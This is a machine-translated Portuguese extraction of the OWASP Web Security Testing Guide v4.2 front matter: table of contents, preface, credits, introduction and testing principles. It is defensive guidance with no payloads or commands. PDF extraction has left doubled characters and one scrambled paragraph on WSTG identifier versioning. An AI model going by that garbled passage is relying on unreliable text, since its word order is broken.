WSTG v4.2 1 275

Machine Translated by Google

1
Guia de teste de segurança da Web v4.2
Índice
0. Prefácio de Eoin Keary 1.

Frontispício
2. Introdução
2.1 O Projeto de Teste OWASP
2.2 Princípios de Teste
2.3 Técnicas de teste explicadas
2.4 Inspeções e revisões manuais
2.5 Modelagem de Ameaças
2.6 Revisão do código-fonte
2.7 Teste de penetração
2.8 A necessidade de uma abordagem equilibrada
2.9 Derivando requisitos de teste de segurança
2.10 Testes de segurança integrados em fluxos de trabalho de desenvolvimento e teste
2.11 Análise e relatório de dados de teste de segurança
3. A estrutura de teste OWASP

3.1 A estrutura de teste de segurança da Web
3.2 Fase 1 antes do início do desenvolvimento
3.3 Fase 2 Durante a Definição e Design
3.4 Fase 3 durante o desenvolvimento
3.5 Fase 4 durante a implantação
3.6 Fase 5 Durante a Manutenção e Operações
3.7 Um fluxo de trabalho de teste SDLC típico
3.8 Metodologias de Teste de Penetração
4. Teste de segurança de aplicativos da Web

4.0 Introdução e Objetivos
4.1 Obtendo informações
4.1.1 Realizar reconhecimento de descoberta de mecanismo de pesquisa para vazamento de informações
4.1.2 Servidor de impressão digital
4.1.3 Revise os metarquivos do servidor Web quanto a vazamento de informações
4.1.4 Enumerar aplicativos no servidor da Web
4.1.5 Revise o conteúdo da página da Web quanto a vazamento de informações
4.1.6 Identifique os pontos de entrada do aplicativo
4.1.7 Mapear caminhos de execução por meio do aplicativo
4.1.8 Estrutura de aplicativo da Web de impressão digital
4.1.9 Aplicativo da Web de impressão digital
4.1.10 Arquitetura do Aplicativo de Mapa
4.2 Teste de gerenciamento de configuração e implantação
4.2.1 Testar configuração de infraestrutura de rede
4.2.2 Configuração da plataforma do aplicativo de teste
4.2.3 Testar a manipulação de extensões de arquivo para informações confidenciais

2
4.2.4 Revise backups antigos e arquivos não referenciados para obter informações confidenciais
4.2.5 Enumerar interfaces de administração de infraestrutura e aplicativos
4.2.6 Testar métodos HTTP
4.2.7 Testar segurança de transporte estrito HTTP
4.2.8 Testar política de domínio cruzado de RIA
4.2.9 Permissão de arquivo de teste
4.2.10 Teste para aquisição de subdomínio
4.2.11 Testar armazenamento em nuvem
4.3 Teste de gerenciamento de identidade
4.3.1 Definições de função de teste
4.3.2 Processo de registro do usuário de teste
4.3.3 Processo de provisionamento de conta de teste
4.3.4 Teste para enumeração de contas e conta de usuário adivinhável
4.3.5 Teste de política de nome de usuário fraca ou não aplicada
4.4 Teste de Autenticação
4.4.1 Teste de credenciais transportadas por um canal criptografado
4.4.2 Teste de credenciais padrão
4.4.3 Teste para mecanismo de bloqueio fraco
4.4.4 Testando para Ignorar o Esquema de Autenticação
4.4.5 Teste para lembrar senha vulnerável
4.4.6 Testando as Fraquezas do Cache do Navegador
4.4.7 Testando a política de senha fraca
4.4.8 Testando para resposta de pergunta de segurança fraca
4.4.9 Teste de funcionalidade de alteração ou redefinição de senha fraca
4.4.10 Teste para autenticação mais fraca em canal alternativo
4.5 Teste de autorização
4.5.1 Testando inclusão de arquivo de travessia de diretório
4.5.2 Teste para Ignorar o Esquema de Autorização
4.5.3 Teste para escalonamento de privilégios
4.5.4 Testando referências inseguras de objetos diretos
4.6 Teste de Gerenciamento de Sessão
4.6.1 Testando o Esquema de Gerenciamento de Sessão
4.6.2 Testando atributos de cookies
4.6.3 Teste para fixação de sessão
4.6.4 Teste para variáveis de sessão expostas
4.6.5 Teste para falsificação de solicitação entre sites
4.6.6 Testando a Funcionalidade de Logout
4.6.7 Testando o tempo limite da sessão
4.6.8 Testando para Quebra-cabeças de Sessão
4.6.9 Teste para seqüestro de sessão
4.7 Teste de validação de entrada
4.7.1 Teste para script refletido entre sites
4.7.2 Testando para Scripts entre Sites Armazenados
4.7.3 Teste de adulteração de verbo HTTP
4.7.4 Testando a Poluição do Parâmetro HTTP
4.7.5 Testando para SQL Injection
4.7.5.1 Testando para Oracle
4.7.5.2 Testando para MySQL
4.7.5.3 Teste para SQL Server

3
4.7.5.4 Testando o PostgreSQL
4.7.5.5 Teste para MS Access
4.7.5.6 Testando para injeção NoSQL
4.7.5.7 Teste para injeção de ORM
4.7.5.8 Teste para o lado do cliente
4.7.6 Teste para injeção de LDAP
4.7.7 Teste para injeção de XML
4.7.8 Teste para injeção de SSI
4.7.9 Teste para injeção de XPath
4.7.10 Teste para injeção SMTP IMAP
4.7.11 Teste para injeção de código
4.7.11.1 Teste para inclusão de arquivo local
4.7.11.2 Teste para inclusão de arquivo remoto
4.7.12 Teste para injeção de comando
4.7.13 Teste para injeção de string de formato
4.7.14 Teste para vulnerabilidade incubada
4.7.15 Teste para contrabando de divisão de HTTP
4.7.16 Testando solicitações de entrada HTTP
4.7.17 Teste para injeção de cabeçalho de host
4.7.18 Teste para injeção de modelo do lado do servidor
4.7.19 Teste para falsificação de solicitação do lado do servidor
4.8 Teste para tratamento de erros
4.8.1 Teste para tratamento inadequado de erros
4.8.2 Teste para rastreamentos de pilha
4.9 Teste de criptografia fraca
4.9.1 Teste para segurança fraca da camada de transporte
4.9.2 Testando para Padding Oracle
4.9.3 Teste de informações confidenciais enviadas por canais não criptografados
4.9.4 Teste de criptografia fraca
4.10 Teste de lógica de negócios
4.10.0 Introdução à Lógica de Negócios
4.10.1 Testar a validação de dados da lógica de negócios
4.10.2 Capacidade de teste para falsificar solicitações
4.10.3 Testar verificações de integridade
4.10.4 Teste para temporização do processo
4.10.5 Teste o número de vezes que uma função pode ser usada limites
4.10.6 Teste para contornar fluxos de trabalho
4.10.7 Defesas de teste contra uso indevido de aplicativos
4.10.8 Carregamento de teste de tipos de arquivo inesperados
4.10.9 Carregamento de teste de arquivos maliciosos
4.11 Teste do lado do cliente
4.11.1 Teste para Cross Site Scripting baseado em DOM
4.11.2 Testando a execução do JavaScript
4.11.3 Teste para injeção de HTML
4.11.4 Testando o redirecionamento de URL do lado do cliente
4.11.5 Testando para injeção de CSS
4.11.6 Teste para manipulação de recursos do lado do cliente
4.11.7 Testando o compartilhamento de recursos entre origens
4.11.8 Teste para intermitência entre sites
4.11.9 Teste de Clickjacking

4
4.11.10 Testando WebSockets
4.11.11 Testando mensagens da Web
4.11.12 Testando o armazenamento do navegador
4.11.13 Teste para inclusão de script entre sites
4.12 Teste de API

4.12.1 Testando o GraphQL
5. Relatórios
Apêndice A. Recursos de ferramentas de

teste Apêndice B. Leitura sugerida
Apêndice C. Vetores Fuzz Apêndice D.
Injeção codificada Apêndice E. Histórico
Apêndice F. Aproveitando as ferramentas
de desenvolvimento
5
Prefácio de Eoin Keary
O problema do software inseguro é talvez o desafio técnico mais importante do nosso tempo. O aumento dramático de aplicativos da Web que
permitem negócios, redes sociais, etc., apenas combinou os requisitos para estabelecer uma abordagem robusta para escrever e proteger
nossa Internet, aplicativos da Web e dados.
No Open Web Application Security Project® (OWASP®), estamos tentando tornar o mundo um lugar onde o software inseguro é a anomalia,
não a norma. O OWASP Testing Guide tem um papel importante a desempenhar na solução desse problema sério. É de vital importância que
nossa abordagem para testar problemas de segurança de software seja baseada nos princípios da engenharia e da ciência. Precisamos de
uma abordagem consistente, repetível e definida para testar aplicativos da web. Um mundo sem alguns padrões mínimos em termos de
engenharia e tecnologia é um mundo em caos.
Nem é preciso dizer que você não pode criar um aplicativo seguro sem realizar testes de segurança nele. O teste faz parte de uma abordagem
mais ampla para construir um sistema seguro. Muitas organizações de desenvolvimento de software não incluem testes de segurança como
parte de seu processo padrão de desenvolvimento de software. O que é ainda pior é que muitos fornecedores de segurança fornecem testes
com vários graus de qualidade e rigor.
O teste de segurança, por si só, não é uma medida independente particularmente boa de quão seguro é um aplicativo, porque há um número
infinito de maneiras pelas quais um invasor pode fazer um aplicativo quebrar e simplesmente não é possível teste todos eles. Não podemos
nos hackear com segurança, pois temos apenas um tempo limitado para testar e defender onde um invasor não possui tais restrições.
Em conjunto com outros projetos OWASP, como o Code Review Guide, o Development Guide e ferramentas como OWASP ZAP, este é um
ótimo começo para criar e manter aplicativos seguros. Este Guia de Teste mostrará como verificar a segurança de seu aplicativo em execução.
Eu recomendo usar esses guias como parte de suas iniciativas de segurança de aplicativos.
Por que OWASP?

Criar um guia como este é um grande empreendimento, exigindo a experiência de centenas de pessoas em todo o mundo. Há muitas maneiras
diferentes de testar falhas de segurança e este guia captura o consenso dos principais especialistas sobre como realizar esse teste com rapidez,
precisão e eficiência. OWASP dá a pessoas de segurança a capacidade de trabalhar em conjunto e formar uma abordagem de prática líder
para um problema de segurança.
A importância de ter este guia disponível de forma totalmente gratuita e aberta é importante para a missão da fundação. Ele dá a qualquer
pessoa a capacidade de entender as técnicas usadas para testar problemas de segurança comuns. A segurança não deve ser uma arte negra
ou um segredo fechado que apenas alguns podem praticar. Deve ser aberto a todos e não exclusivo para profissionais de segurança, mas
também QA, desenvolvedores e gerentes técnicos. O projeto para construir este guia mantém este conhecimento nas mãos das pessoas que
precisam dele - você, eu e qualquer um que esteja envolvido na construção de software.
Este guia deve chegar às mãos de desenvolvedores e testadores de software. Não há especialistas em segurança de aplicativos suficientes no
mundo para fazer qualquer diferença significativa no problema geral. A responsabilidade inicial pela segurança do aplicativo deve recair sobre
os desenvolvedores porque eles escrevem o código. Não deveria ser uma surpresa que os desenvolvedores não estejam produzindo código
seguro se não o estiverem testando ou considerando os tipos de bugs que introduzem a vulnerabilidade.
Manter essas informações atualizadas é um aspecto crítico deste projeto de guia. Adotando a abordagem wiki, a comunidade OWASP pode
evoluir e expandir as informações neste guia para acompanhar o rápido cenário de ameaças à segurança de aplicativos.
Este Guia é uma grande prova da paixão e energia que nossos membros e voluntários do projeto têm por este assunto. Certamente ajudará a
mudar o mundo, uma linha de código por vez.
6
Adaptação e Priorização Você deve

adotar este guia em sua organização. Pode ser necessário adaptar as informações para corresponder às tecnologias,
processos e estrutura organizacional de sua organização.
Em geral, existem várias funções diferentes dentro das organizações que podem usar este guia:
Os desenvolvedores devem usar este guia para garantir que estão produzindo código seguro. Esses testes devem fazer parte do código normal e dos
procedimentos de teste de unidade.
Testadores de software e QA devem usar este guia para expandir o conjunto de casos de teste que aplicam aos aplicativos. Detectar essas vulnerabilidades
antecipadamente economiza tempo e esforço consideráveis posteriormente.
Os especialistas em segurança devem usar este guia em combinação com outras técnicas como uma forma de verificar se nenhuma brecha de segurança
foi perdida em um aplicativo.
Os gerentes de projeto devem considerar a razão pela qual este guia existe e que os problemas de segurança se manifestam por meio de bugs no código e
no design.
A coisa mais importante a lembrar ao realizar testes de segurança é redefinir prioridades continuamente. Há um número infinito de possíveis maneiras pelas quais
um aplicativo pode falhar, e as organizações sempre têm tempo e recursos de teste limitados. Certifique-se de que o tempo e os recursos sejam gastos com
sabedoria. Tente se concentrar nas falhas de segurança que são um risco real para o seu negócio. Tente contextualizar o risco em termos do aplicativo e seus
casos de uso.
Este guia é melhor visualizado como um conjunto de técnicas que você pode usar para encontrar diferentes tipos de brechas de segurança. Mas nem todas as
técnicas são igualmente importantes. Tente evitar usar o guia como uma lista de verificação, novas vulnerabilidades estão sempre se manifestando e nenhum guia
pode ser uma lista exaustiva de “coisas para testar”, mas sim um ótimo lugar para começar.
O papel das ferramentas automatizadas
Existem várias empresas que vendem ferramentas automatizadas de análise e teste de segurança. Lembre-se das limitações dessas ferramentas para que você
possa usá-las para o que elas são boas. Como disse Michael Howard na Conferência OWASP AppSec de 2006 em Seattle, “Ferramentas não tornam o software
seguro! Eles ajudam a dimensionar o processo e a aplicar a política.”
Mais importante ainda, essas ferramentas são genéricas - o que significa que não são projetadas para o seu código personalizado, mas para aplicativos em geral.
Isso significa que, embora possam encontrar alguns problemas genéricos, eles não têm conhecimento suficiente de seu aplicativo para permitir que detectem a
maioria das falhas. Na minha experiência, os problemas de segurança mais sérios são aqueles que não são genéricos, mas profundamente interligados em sua
lógica de negócios e design de aplicativo personalizado.
Essas ferramentas também podem ser muito úteis, pois encontram muitos problemas em potencial. Embora a execução das ferramentas não leve muito tempo,
cada um dos possíveis problemas leva tempo para ser investigado e verificado. Se o objetivo é encontrar e eliminar as falhas mais graves o mais rápido possível,
considere se seu tempo é melhor gasto com ferramentas automatizadas ou com as técnicas descritas neste guia. Ainda assim, essas ferramentas certamente
fazem parte de um programa de segurança de aplicativos bem equilibrado.
Usados com sabedoria, eles podem oferecer suporte a seus processos gerais para produzir códigos mais seguros.
Chamada para ação
Se você estiver construindo, projetando ou testando um software, recomendo fortemente que você se familiarize com as orientações de teste de segurança deste
documento. É um ótimo roteiro para testar os problemas mais comuns que os aplicativos enfrentam hoje, mas não é exaustivo. Se você encontrar erros, adicione
uma nota à página de discussão ou faça a alteração você mesmo. Você estará ajudando milhares de outras pessoas que usam este guia.
Por favor, considere se juntar a nós como membro individual ou corporativo, para que possamos continuar a produzir materiais como este guia de testes e todos
os outros grandes projetos da OWASP.
Obrigado a todos os colaboradores anteriores e futuros deste guia, seu trabalho ajudará a tornar as aplicações em todo o mundo mais
seguro.
–Eoin Keary, membro do conselho da OWASP, 19 de abril de 2013

7
Open Web Application Security Project e OWASP são marcas registradas da OWASP Foundation, Inc.
8
Frontispício
Bem-vindo
Como nos concentramos na melhoria incremental, esta versão apresenta várias atualizações. Padronizamos formatos de
cenário para criar uma melhor experiência de leitura, adicionamos objetivos para cada cenário de teste, mesclamos
seções e adicionamos novos cenários em alguns tópicos de teste modernos.
—Rick Mitchell
A OWASP agradece a muitos autores, revisores e editores por seu trabalho árduo em trazer este guia para onde ele está hoje. Se você tiver algum
comentário ou sugestão sobre o Guia de teste, sinta-se à vontade para abrir um problema ou enviar uma correção/contribuição por meio de
solicitação pull para nosso repositório GitHub.
Direitos autorais e licenciado

Copyright (c) 2020 Fundação OWASP.
Este documento é distribuído sob a licença Creative Commons 4.0. Por favor, leia e entenda a licença e
condições de direitos autorais.
líderes
Elie Saad
Rick Mitchell
Equipe principal
Rejah Rehim
Victoria Drake
Autores
Aaron Williams
Alessia Michela Di Campi

Elie Saad
Ismael Gonçalves
Janos Zold
Jeremy Bonghwan Choi

Joel Espunya
Manh Pham Tien
Mark Clayton
ou Asaf
rbsec
Rick Mitchell
Rishu Ranjan
Rubal Jain
Samuele Casarin
Stefano Calzavara
Tal Argoni
Victoria Drake
9
Phu Nguyen (Tony)
Designers gráficos
Hugo Costa
Jishnu Vijayan CK
Muhammed Anees
Ramzi Fazah
Revisores ou Editores
Abhi M Balakrishnan
Asharaf Ali
Elie Saad
Eoin Murphy
Francisco Bustos
congelado
Hsiang-Chih Hsu
Jeremy Bonghwan Choi
Lukasz Lubczynski
Miguel Arevalo
Najam Ul Saqib
Nikoleta Misheva
Patrick Santos
Rejah Rehim
Rick Mitchell
Roman Mueller
Thomas Lim
Tom Bowyer
Victoria Drake
Marcas Registradas
Java, Java Web Server e JSP são marcas registradas da Sun Microsystems, Inc.
Merriam-Webster é uma marca comercial da Merriam-Webster, Inc.
Microsoft é uma marca registrada da Microsoft Corporation.
Octave é uma marca de serviço da Carnegie Mellon University.
Open Web Application Security Project e OWASP são marcas registradas da OWASP Foundation, Inc.
VeriSign e Thawte são marcas registradas da VeriSign, Inc.
Visa é uma marca registrada da VISA USA.
Todos os outros produtos e nomes de empresas podem ser marcas comerciais de seus respectivos proprietários. O uso de um termo neste documento
não deve ser considerado como afetando a validade de qualquer marca registrada ou marca de serviço.
Entrando em contato com a OWASP
Detalhes de contato para a Fundação OWASP estão disponíveis online. Se você tiver alguma dúvida sobre um projeto específico, recomendamos
usar o Grupo do Google para esse projeto. Muitas perguntas também podem ser respondidas pesquisando o OWASP web site, por favor, verifique lá
primeiro.
Siga-nos
Machine
10
Translated by Google
FFoollllooww @@oowwaasspp__wwssttgg 831

11
Introdução
O Projeto de Teste OWASP

O Projeto de Teste OWASP está em desenvolvimento há muitos anos. O objetivo do projeto é ajudar as pessoas a entender o que, por que,
quando, onde e como testar aplicativos da web. O projeto forneceu uma estrutura de teste completa, não apenas uma lista de verificação simples
ou prescrição de questões que devem ser abordadas. Os leitores podem usar essa estrutura como um modelo para criar seus próprios programas
de teste ou para qualificar os processos de outras pessoas. O Guia de Testes descreve em detalhes a estrutura geral de testes e as técnicas
necessárias para implementar a estrutura na prática.
Escrever o Guia de Teste provou ser uma tarefa difícil. Foi um desafio obter consenso e desenvolver conteúdos que permitissem às pessoas aplicar
os conceitos descritos no guia, ao mesmo tempo que permitissem que trabalhassem em seu próprio ambiente e cultura. Também foi um desafio
mudar o foco dos testes de aplicativos da web de testes de penetração para testes integrados ao ciclo de vida do desenvolvimento de software.
No entanto, o grupo está muito satisfeito com os resultados do projeto. Muitos especialistas do setor e profissionais de segurança, alguns dos quais
são responsáveis pela segurança de software em algumas das maiores empresas do mundo, estão validando a estrutura de teste. Essa estrutura
ajuda as organizações a testar seus aplicativos da Web para criar software confiável e seguro. A estrutura não apenas destaca as áreas de
fraqueza, embora isso seja certamente um subproduto de muitos dos guias e listas de verificação OWASP. Como tal, decisões difíceis tiveram que
ser tomadas sobre a adequação de certas técnicas e tecnologias de teste. O grupo entende perfeitamente que nem todos concordarão com todas
essas decisões. No entanto, a OWASP é capaz de se posicionar e mudar a cultura ao longo do tempo por meio de conscientização e educação,
com base no consenso e na experiência.
O restante deste guia está organizado da seguinte forma: esta introdução abrange os pré-requisitos de teste de aplicativos da Web e o escopo do
teste. Ele também abrange os princípios de testes bem-sucedidos e técnicas de teste, práticas recomendadas para geração de relatórios e casos
de negócios para testes de segurança. O Capítulo 3 apresenta o OWASP Testing Framework e explica suas técnicas e tarefas em relação às várias
fases do ciclo de vida do desenvolvimento de software. O Capítulo 4 aborda como testar vulnerabilidades específicas (por exemplo, SQL Injection)
por inspeção de código e teste de penetração.
Medindo a segurança: a economia do software inseguro

Um princípio básico da engenharia de software é resumido em uma citação de Controlling Software Projects: Management,
Medição e estimativas por Tom DeMarco:
Você não pode controlar o que não pode medir.
O teste de segurança não é diferente. Infelizmente, medir a segurança é um processo notoriamente difícil.
Um aspecto que deve ser enfatizado é que as medidas de segurança tratam tanto de questões técnicas específicas (por exemplo, quão prevalente
é uma determinada vulnerabilidade) quanto de como essas questões afetam a economia do software. A maioria das pessoas técnicas entenderá
pelo menos os problemas básicos ou poderá ter uma compreensão mais profunda das vulnerabilidades. Infelizmente, poucos são capazes de
traduzir esse conhecimento técnico em termos monetários e quantificar o custo potencial das vulnerabilidades para os negócios do proprietário do
aplicativo. Até que isso aconteça, os CIOs não conseguirão desenvolver um retorno preciso sobre o investimento em segurança e, subsequentemente,
atribuir orçamentos apropriados para segurança de software.
Embora estimar o custo de software inseguro possa parecer uma tarefa assustadora, tem havido uma quantidade significativa de
trabalho nessa direção. Em 2018, o Consórcio para Qualidade de Software de TI resumiu:
…o custo de software de baixa qualidade nos EUA em 2018 é de aproximadamente US$ 2,84 trilhões…
A estrutura descrita neste documento incentiva as pessoas a medir a segurança durante todo o processo de desenvolvimento. Eles podem então
relacionar o custo do software inseguro com o impacto que ele tem nos negócios e, consequentemente,
12
desenvolver processos de negócios apropriados e atribuir recursos para gerenciar o risco. Lembre-se de que medir e testar aplicativos da
Web é ainda mais crítico do que para outros softwares, pois os aplicativos da Web são expostos a milhões de usuários por meio da
Internet.
O que é Testar?
Muitas coisas precisam ser testadas durante o ciclo de vida de desenvolvimento de um aplicativo da web, mas o que realmente significa
testar? O Oxford Dictionary of English define “teste” como:
teste (substantivo): um procedimento destinado a estabelecer a qualidade, desempenho ou confiabilidade de algo, especialmente
antes de ser amplamente utilizado.
Para os fins deste documento, o teste é um processo de comparação do estado de um sistema ou aplicativo em relação a um conjunto
de critérios. No setor de segurança, as pessoas costumam fazer testes em relação a um conjunto de critérios mentais que não são bem
definidos nem completos. Como resultado disso, muitas pessoas de fora consideram os testes de segurança uma arte negra. O objetivo
deste documento é mudar essa percepção e tornar mais fácil para pessoas sem conhecimento profundo de segurança fazerem a diferença
nos testes.
Por que realizar testes?

Este documento foi desenvolvido para ajudar as organizações a entender o que compreende um programa de teste e para ajudá-las a
identificar as etapas que precisam ser realizadas para criar e operar um programa de teste de aplicativo da Web moderno. O guia oferece
uma visão ampla dos elementos necessários para criar um programa abrangente de segurança de aplicativos da web. Este guia pode ser
usado como referência e metodologia para ajudar a determinar a lacuna entre as práticas existentes e as melhores práticas do setor. Este
guia permite que as organizações se comparem com seus pares do setor, para entender a magnitude dos recursos necessários para
testar e manter o software ou para se preparar para uma auditoria. Este capítulo não entra nos detalhes técnicos de como testar um
aplicativo, pois a intenção é fornecer uma estrutura organizacional de segurança típica. Os detalhes técnicos sobre como testar um
aplicativo, como parte de um teste de penetração ou revisão de código, serão abordados nas partes restantes deste documento.
Quando Testar?
A maioria das pessoas hoje não testa o software até que ele já tenha sido criado e esteja na fase de implantação de seu ciclo de vida (ou
seja, o código foi criado e instanciado em um aplicativo da Web funcional). Esta é geralmente uma prática muito ineficaz e de custo
proibitivo. Um dos melhores métodos para evitar que bugs de segurança apareçam em aplicativos de produção é melhorar o Ciclo de
Vida de Desenvolvimento de Software (SDLC) incluindo a segurança em cada uma de suas fases. Um SDLC é uma estrutura imposta ao
desenvolvimento de artefatos de software. Se um SDLC não estiver sendo usado no momento em seu ambiente, é hora de escolher um!
A figura a seguir mostra um modelo SDLC genérico, bem como o custo crescente (estimado) de correção de bugs de segurança em tal
modelo.
13
Figura 2-1: Modelo SDLC Genérico
As empresas devem inspecionar seu SDLC geral para garantir que a segurança seja parte integrante do processo de desenvolvimento.
Os SDLCs devem incluir testes de segurança para garantir que a segurança seja adequadamente coberta e os controles sejam eficazes durante todo o
processo de desenvolvimento.
O que testar?
Pode ser útil pensar no desenvolvimento de software como uma combinação de pessoas, processos e tecnologia. Se esses são os fatores que “criam” o
software, então é lógico que esses são os fatores que devem ser testados. Hoje, a maioria das pessoas geralmente testa a tecnologia ou o próprio
software.
Um programa de teste eficaz deve ter componentes que testam o seguinte:
Pessoas – garantir educação e conscientização adequadas;
Processo – garantir que existam políticas e padrões adequados e que as pessoas saibam como seguir essas políticas;
Tecnologia – para garantir que o processo tenha sido eficaz em sua implementação.
14
A menos que uma abordagem holística seja adotada, testar apenas a implementação técnica de um aplicativo não revelará vulnerabilidades
de gerenciamento ou operacionais que possam estar presentes. Ao testar pessoas, políticas e processos, uma organização pode detectar
problemas que mais tarde se manifestariam como defeitos na tecnologia, erradicando assim os bugs antecipadamente e identificando as
causas principais dos defeitos. Da mesma forma, testar apenas alguns dos problemas técnicos que podem estar presentes em um sistema
resultará em uma avaliação de postura de segurança incompleta e imprecisa.
Denis Verdon, chefe de segurança da informação da Fidelity National Financial, apresentou uma excelente analogia para esse equívoco na
conferência OWASP AppSec 2004 em Nova York:
Se os carros fossem construídos como aplicativos … os testes de segurança assumiriam apenas o impacto frontal. Os carros não seriam
testados quanto à estabilidade em manobras de emergência, eficácia do freio, impacto lateral e resistência a roubo.
Como referenciar cenários WSTG

Cada cenário tem um identificador no formato WSTG-<categoria>-<número> , onde: 'categoria' é uma string de 4 caracteres maiúsculos que
identifica o tipo de teste ou fraqueza, e 'número' é um valor numérico preenchido com zeros de 01 a 99. Por exemplo: WSTG-INFO-02 é o
segundo teste de Coleta de Informações.
Os identificadores podem mudar entre as versões, portanto, é preferível que outros documentos, relatórios ou ferramentas usem o formato:
WSTG-<versão>-<categoria>-<número> , onde: 'versão' é aseria
marca da versão
entendido com a pontuação
especificamente removida.
como Porteste
o segundo exemplo: WSTG-v42-INFO-02
de coleta de informações
da versão 4.2.
Se os identificadores forem usados sem incluir o elemento <version> , eles devem ser considerados como referências ao conteúdo mais
recente do Web Security Testing Guide. Obviamente, à medida que o guia cresce e muda, isso se torna problemático, e é por isso que
escritores ou desenvolvedores devem incluir o elemento de versão.
ligando
A vinculação aos cenários do Guia de Teste de Segurança da Web deve ser feita usando links com versão não estável ou mais recente , que
definitivamente mudarão com o tempo. No entanto, é intenção da equipe do projeto que os links com versão não sejam alterados. Por exemplo:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-
Information_Gathering/02-Fingerprint_Web_Server.html . Nota: o elemento v42 refere-se à versão 4.2.
Feedback e comentários
Como em todos os projetos OWASP, comentários e feedback são bem-vindos. Gostamos especialmente de saber que nosso trabalho está
sendo usado e que é eficaz e preciso.
Princípios de teste Existem alguns
equívocos comuns ao desenvolver uma metodologia de teste para encontrar bugs de segurança em software.
Este capítulo aborda alguns dos princípios básicos que os profissionais devem levar em consideração ao realizar testes de segurança em
software.
Não há bala de prata

Embora seja tentador pensar que um scanner de segurança ou um firewall de aplicativo fornecerá muitas defesas contra ataques ou identificará
uma infinidade de problemas, na realidade não há solução mágica para o problema de software inseguro. O software de avaliação de
segurança de aplicativos, embora útil como um primeiro passo para encontrar frutas fáceis, geralmente é imaturo e ineficaz na avaliação
aprofundada ou no fornecimento de cobertura de teste adequada. Lembre-se de que a segurança é um processo e não um produto.
Pense estrategicamente, não taticamente Os
profissionais de segurança perceberam a falácia do modelo patch-and-penetrate que foi difundido na segurança da informação durante a
década de 1990. O modelo patch-and-penetrate envolve a correção de um bug relatado, mas sem investigação adequada da causa raiz. Este
modelo é normalmente associado à janela de vulnerabilidade, também designada por janela de exposição, apresentada na figura abaixo. A
evolução das vulnerabilidades em softwares comuns utilizados mundialmente tem mostrado a ineficácia desse modelo. Para obter mais
informações sobre janelas de exposição, consulte Schneier on Security.
15
Estudos de vulnerabilidade, como o Relatório de Ameaças à Segurança na Internet da Symantec mostraram que, com o tempo de reação dos
invasores em todo o mundo, a janela típica de vulnerabilidade não oferece tempo suficiente para a instalação do patch, pois o tempo entre a
descoberta de uma vulnerabilidade e o desenvolvimento e lançamento de um ataque automatizado contra ela diminui a cada ano.
Existem várias suposições incorretas no modelo patch-and-penetrate. Muitos usuários acreditam que os patches interferem nas operações
normais ou podem interromper os aplicativos existentes. Também é incorreto presumir que todos os usuários estão cientes dos patches recém-
lançados. Conseqüentemente, nem todos os usuários de um produto aplicarão patches, seja porque acham que o patch pode interferir no
funcionamento do software ou porque não têm conhecimento sobre a existência do patch.
Figura 2-2: Janela de Vulnerabilidade
É essencial criar segurança no ciclo de vida de desenvolvimento de software (SDLC) para evitar problemas de segurança recorrentes em um
aplicativo. Os desenvolvedores podem criar segurança no SDLC desenvolvendo padrões, políticas e diretrizes que se encaixem e funcionem
dentro da metodologia de desenvolvimento. A modelagem de ameaças e outras técnicas devem ser usadas para ajudar a atribuir recursos
apropriados às partes de um sistema que correm maior risco.
O SDLC é Rei
O SDLC é um processo bem conhecido dos desenvolvedores. Ao integrar a segurança em cada fase do SDLC, ele permite uma abordagem
holística para a segurança do aplicativo que aproveita os procedimentos já existentes na organização. Esteja ciente de que, embora os nomes
das várias fases possam mudar dependendo do modelo SDLC usado por uma organização, cada fase conceitual do arquétipo SDLC será
usada para desenvolver o aplicativo (ou seja, definir, projetar, desenvolver, implantar, manter). Cada fase tem considerações de segurança que
devem se tornar parte do processo existente, para garantir um programa de segurança abrangente e econômico.
Existem várias estruturas SDLC seguras que fornecem conselhos descritivos e prescritivos. Se uma pessoa aceita aconselhamento descritivo
ou prescritivo depende da maturidade do processo SDLC. Essencialmente, o conselho prescritivo mostra como o SDLC seguro deve funcionar,
e o conselho descritivo mostra como ele é usado no mundo real. Ambos têm seu lugar. Por exemplo, se você não sabe por onde começar, uma
estrutura prescritiva pode fornecer um menu de possíveis controles de segurança que podem ser aplicados no SDLC. O aconselhamento
descritivo pode ajudar a conduzir o processo de decisão, apresentando o que funcionou bem para outras organizações. SDLCs seguros
descritivos incluem BSIMM; e os SDLCs seguros prescritivos incluem o Open Software Assurance Maturity Model (OpenSAMM) da OWASP e
ISO/IEC 27034 Partes 1-7, todos publicados (exceto a parte 4).
Teste cedo e teste frequentemente

16
Quando um bug é detectado no início do SDLC, ele pode ser resolvido mais rapidamente e com um custo menor. Um bug de segurança não é
diferente de um bug funcional ou baseado em desempenho nesse aspecto. Uma etapa fundamental para tornar isso possível é educar as equipes
de desenvolvimento e controle de qualidade sobre problemas de segurança comuns e as formas de detectá-los e evitá-los. Embora novas
bibliotecas, ferramentas ou linguagens possam ajudar a projetar programas com menos bugs de segurança, novas ameaças surgem
constantemente e os desenvolvedores devem estar cientes das ameaças que afetam o software que estão desenvolvendo. A educação em
testes de segurança também ajuda os desenvolvedores a adquirir a mentalidade apropriada para testar um aplicativo da perspectiva de um
invasor. Isso permite que cada organização considere as questões de segurança como parte de suas responsabilidades existentes.
Automação de teste
Em metodologias de desenvolvimento modernas, como (mas não limitado a): ágil, devops/devsecops ou desenvolvimento rápido de aplicativos
(RAD), deve-se considerar a integração de testes de segurança em fluxos de trabalho de integração contínua/implantação contínua (CI/CD) para
manter as informações/análises de segurança da linha de base e identificar as fraquezas do tipo “frutos mais fáceis”. Isso pode ser feito
aproveitando o teste de segurança de aplicativo dinâmico (DAST), o teste de segurança de aplicativo estático (SAST) e a análise de composição
de software (SCA) ou ferramentas de rastreamento de dependência durante fluxos de trabalho de liberação automatizada padrão ou em uma
programação regular.
Entenda o escopo da segurança

É importante saber quanta segurança um determinado projeto exigirá. Os ativos que devem ser protegidos devem receber uma classificação que
indique como devem ser tratados (por exemplo, confidencial, secreto, ultrassecreto). As discussões devem ocorrer com o conselho jurídico para
garantir que todos os requisitos de segurança específicos sejam atendidos. Nos EUA, os requisitos podem vir de regulamentações federais, como
a Lei Gramm-Leach-Bliley, ou de leis estaduais, como o California SB-1386.
Para organizações sediadas em países da UE, tanto a regulamentação específica do país quanto as diretivas da UE podem ser aplicadas. Por
exemplo, Diretiva 96/46/EC4 e Regulamento (UE) 2016/679 (Regulamento Geral de Proteção de Dados) tornar obrigatório o tratamento dos
dados pessoais nas aplicações com o devido cuidado, seja qual for a aplicação.
Desenvolva a mentalidade certa

